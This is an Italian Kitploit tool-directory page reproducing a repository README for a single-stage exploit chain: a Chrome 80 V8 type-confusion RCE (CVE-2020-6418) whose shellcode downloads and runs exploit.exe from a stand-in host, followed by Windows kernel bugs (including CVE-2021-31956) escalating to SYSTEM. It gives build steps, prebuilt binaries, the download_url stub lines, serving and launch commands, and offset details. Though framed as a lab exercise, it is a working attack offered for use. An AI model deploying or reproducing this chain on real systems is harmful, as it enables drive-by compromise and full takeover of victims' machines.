Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-6418 — Catena di exploit a singolo stadio per CVE-2020-6418 (Chrome RCE) combinata con escalation dei privilegi di Windows a SYSTEM, con script di build e binari precompilati. | Kitploit
Strumenti/GitHubGitHub/a-mansilla/cve-2020-6418
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSviluppo PayloadBinary Exploitation
GitHuba-mansilla/cve-2020-6418

CVE-2020-6418

Catena di exploit a singolo stadio per CVE-2020-6418 (Chrome RCE) combinata con escalation dei privilegi di Windows a SYSTEM, con script di build e binari precompilati.

Vedi Repository
8 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2020-6418: RCE su Chrome abbinata a un'elevazione di privilegi di Windows

Questo repository contiene una catena di exploit funzionante a singolo stadio per CVE-2020-6418 (un bug di type confusion nel compilatore Turbofan di V8, che interessa Google Chrome 80.0.3987.87 x64). Visitare una pagina dannosa con un Chrome vulnerabile porta all'esecuzione di codice nativo all'interno del processo renderer. Da qui, l'exploit scarica e avvia un secondo binario che combina altri due bug (una mancanza di controllo della lunghezza in NtPowerInformation più CVE-2021-31956, un overflow del pool in ntfs.sys) per passare da un processo senza privilegi fino a NT AUTHORITY\SYSTEM.

L'intera operazione viene eseguita con una singola visita alla pagina, senza passaggi manuali tra il bug del browser e la shell di SYSTEM.

Il merito originale per l'exploit di Chrome va a Clement Lecigne (scoperta del bug, Google TAG) e Istvan Kurucsai / Vignesh S Rao (la proof of concept originale, successivamente distribuita come modulo Metasploit). Abbiamo rimosso le dipendenze da Metasploit e ricostruito il meccanismo di distribuzione attorno a un downloader nativo invece di incorporare il payload nella pagina. Dettagli in browser-exploit/README.md.

Struttura del repository

root@kitploit:~
browser-exploit/        L'exploit per Chrome (il bug di V8 + lo stub nativo)
  exploit_template.html   Sorgente HTML/JS, con un segnaposto per lo stub
  build_exploit.py         genera exploit.html dal template
  shellcode/                il codice nativo che l'exploit inietta in Chrome
privilege-escalation/    La catena di EoP per Windows, un programma C standalone
prebuilt/                Binari pronti all'uso (exploit.html ed exploit.exe)
notes/                   Un approccio precedente che abbiamo provato e abbandonato, conservato
                         come registrazione di ciò che abbiamo imparato lungo il percorso

Cosa ti serve

Macchina attaccante (l'"host"): qualsiasi Windows recente con Visual Studio 2019 o 2022 (qualsiasi edizione, Community va bene, o anche solo i Build Tools), NASM e Python 3. Qui è dove compili tutto e servi la pagina dell'exploit.

Macchina target (la "VM"): deve corrispondere esattamente, l'exploit si basa su offset hardcodati validi solo per queste specifiche build.

  • Windows 10 20H1, build 19041.264 x64. Verifica con winver o [System.Environment]::OSVersion in PowerShell.
  • Google Chrome 80.0.3987.87 x64 (il bug è stato corretto in 80.0.3987.122, quindi deve essere esattamente questa build o una versione vulnerabile precedente). Verifica con chrome://version.
  • Una cartella C:\lab8 (può essere vuota, deve solo esistere).

L'abbiamo testato su una VM VMware Workstation con una scheda di rete host only, ma qualsiasi configurazione in cui la VM può raggiungere l'host via HTTP funziona allo stesso modo.

Avvio rapido

1. Compila tutto sull'host

root@kitploit:~
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html

cd ..\privilege-escalation
build.bat

Prima della prima compilazione, apri browser-exploit\shellcode\download_and_run_stub.asm e modifica queste due righe in fondo:

root@kitploit:~
download_url:       db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path:   db "C:\lab8\exploit.exe", 0

YOUR_HOST_IP è l'indirizzo IP di questa macchina visto dalla VM (esegui ipconfig sulla VM e controlla la scheda di rete che corrisponde alla tua rete host only o NAT, oppure esegui ipconfig sull'host e usa la scheda sulla stessa sottorete della VM). destination_path deve corrispondere al punto in cui vuoi che il binario di EoP venga depositato nella VM; il valore predefinito è C:\lab8.

Dopo la modifica, ricompila lo stub e rigenera exploit.html (i due comandi del punto 1, saltando la compilazione di privilege-escalation poiché questa non dipende dall'IP).

Se per un test rapido non vuoi toccare il file assembly, prebuilt/ contiene già una copia funzionante con il nostro IP di test incorporato. Funzionerà solo se la tua rete corrisponde per caso, quindi compilare la tua copia è la via affidabile.

2. Servi l'exploit dall'host

Metti exploit.html ed exploit.exe (quello compilato in privilege-escalation/) nella stessa cartella, poi:

root@kitploit:~
python -m http.server 8000

exploit.exe deve essere raggiungibile all'URL esatto che hai inserito in download_url qui sopra, poiché lo stub nativo lo recupera direttamente, non attraverso il browser.

Una nota rapida sul firewall dell'host: se la VM non riesce a raggiungere la porta 8000, quasi sempre è Windows Defender Firewall a bloccare la connessione in entrata su una rete non classificata, oppure una regola residua che blocca python.exe nello specifico (Windows a volte la crea automaticamente la prima volta che un'app tenta di accettare una connessione su una rete non attendibile). Controlla Get-NetFirewallRule -DisplayName "python.exe" in una PowerShell elevata se incontri questo problema.

3. Prepara la VM

  • Conferma che la build di Windows e la versione di Chrome corrispondano ai requisiti sopra.

  • Crea C:\lab8 se non esiste già (vuota va bene).

  • Se questa è una VM nuda che non ha mai completato un vero ciclo di avvio, C:\Windows\bootstat.dat potrebbe mancare o essere vuoto, e il bug del kernel richiede che esista con contenuti validi. Se necessario:

    root@kitploit:~
    if (!(Test-Path C:\Windows\bootstat.dat)) {
        fsutil file createnew C:\Windows\bootstat.dat 2048
    }
    $bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
    $bytes[4] = 1
    [System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
    

4. Eseguilo

Avvia il Chrome vulnerabile con --no-sandbox (questa PoC non include un sandbox escape, quindi il renderer deve essere già senza sandbox per raggiungere il file system e generare processi) e puntalo alla pagina:

root@kitploit:~
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html

Apri DevTools (F12) e controlla la scheda Console: l'exploit registra il suo avanzamento lì. Se tutto combacia, dovresti vedere la type confusion riuscire, lo stub scaricare e avviare il binario di EoP e, dopo alcuni secondi, una nuova finestra della console che gira come NT AUTHORITY\SYSTEM.

Se qualcosa va storto

  • Chrome crasha invece di eseguire l'exploit: quasi sempre una mancata corrispondenza della build di Chrome. Gli offset in exploit_template.html (objleaker_offset, float_carw_elements_offset e gli altri) sono specifici per 80.0.3987.87 x64; non funzionano su una build diversa, nemmeno a una sola patch di distanza.
  • Il binario di EoP apre una console ma non raggiunge mai SYSTEM: stessa idea, verifica che la build di Windows sia esattamente 19041.264. Gli offset del kernel (DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD e i vari offset EPROCESS/ETHREAD in privilege-escalation/exploit.c) sono hardcodati per quella build.
  • Lo stub di download sembra non recuperare nulla: ricontrolla che download_url in download_and_run_stub.asm corrisponda all'indirizzo e alla porta su cui l'host sta effettivamente servendo, e che la VM possa raggiungerlo (un semplice curl http://YOUR_HOST_IP:8000/exploit.exe eseguito dalla VM è un modo rapido per confermare la connettività prima di dare la colpa all'exploit).

Maggiori dettagli su ogni componente, incluso il motivo per cui è costruito nel modo in cui è, nei README di ciascuna cartella.

Scarica lo strumento